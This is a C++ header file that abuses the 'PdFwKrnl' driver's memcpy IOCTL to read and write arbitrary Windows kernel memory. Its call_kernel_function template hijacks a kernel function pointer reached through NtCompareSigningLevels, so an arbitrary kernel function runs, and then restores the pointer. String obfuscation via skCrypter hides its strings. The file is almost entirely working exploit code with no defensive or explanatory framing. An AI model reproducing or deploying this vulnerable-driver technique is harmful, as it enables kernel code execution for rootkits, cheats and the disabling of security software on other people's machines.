#pragma once

#include <Windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdint.h>
#include <Psapi.h>
#include <vector>
#include <string>
#include <stdexcept>
#include "skCrypter.hpp"

namespace pdfwkrnl {
    namespace structure {
    struct  PDFW_MEMCPY {
        BYTE    Reserved[16];
        PVOID   Destination;
        PVOID   Source;
        PVOID   Reserved2;
        DWORD   Size;
        DWORD   Reserved3;
    };
}
    static auto driver_symbolic_link = STR("\\\\.\\PdFwKrnl");
    const ULONG driver_memcpy = CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS);
    static HANDLE driver_handle = nullptr;

    bool attach();
    bool detach();

    bool read(uint64_t _Address, void* _Buffer, size_t Size);
    bool write(uint64_t _Address, void* _Buffer, size_t Size);

    template <typename T>
    T read(UINT64 address) {
        T buffer{};
        read(address, &buffer, sizeof(T));
        return buffer;
    }

	uint64_t get_kernel_base();
    uint64_t get_kernel_base(const char* module_name);
	uint64_t get_kernel_export(const char* export_name);
    uint64_t get_kernel_export(const char* module_name, const char* export_name);

    template <typename T, typename... Args>
    T call_kernel_function(uint64_t function_address, Args... args) {
        if (!function_address)
            return T{};

        uint64_t kernel_base = get_kernel_base();
        if (!kernel_base)
            return T{};

        HMODULE m_ntdll = GetModuleHandleW(STR(L"ntdll.dll"));
        if (!m_ntdll)
            return T{};

        FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, STR("NtCompareSigningLevels"));
        if (!NtCompareSigningLevels)
            return T{};

        uint64_t kernel_NtCompareSigningLevels = get_kernel_export(STR("NtCompareSigningLevels"));
        if (!kernel_NtCompareSigningLevels)
            return T{};

        BYTE bytes[32];
        if (!read(kernel_NtCompareSigningLevels, bytes, sizeof(bytes)))
            return T{};

        uint64_t qword_swap = kernel_base + 0xC1DA00;

        if (bytes[4] == 0x4C && bytes[5] == 0x8B && bytes[6] == 0x05) {
            int32_t displacement;
            memcpy(&displacement, &bytes[7], sizeof(int32_t));
            uint64_t rip = kernel_NtCompareSigningLevels + 0xB;
            uint64_t function_pointer_addr = rip + displacement;
            if (function_pointer_addr) {
                qword_swap = function_pointer_addr;
            }
            else {
                return T{};
            }
			
        }

        uint64_t qword_original = 0;

        if (!read(qword_swap, &qword_original, sizeof(uint64_t)))
            return T{};

        if (!write(qword_swap, &function_address, sizeof(uint64_t)))
            return T{};


        if constexpr (std::is_void_v<T>) {
            auto function = reinterpret_cast<void(__stdcall*)(Args...)>(NtCompareSigningLevels);
            function(args...);
            write(qword_swap, &qword_original, sizeof(uint64_t));
            return T{};
        }
        else {
            using function_t = T(__stdcall*)(Args...);
            auto function = reinterpret_cast<function_t>(NtCompareSigningLevels);
            T return_value = function(args...);
            write(qword_swap, &qword_original, sizeof(uint64_t));
            return return_value;
        }

        return T{};
    }
}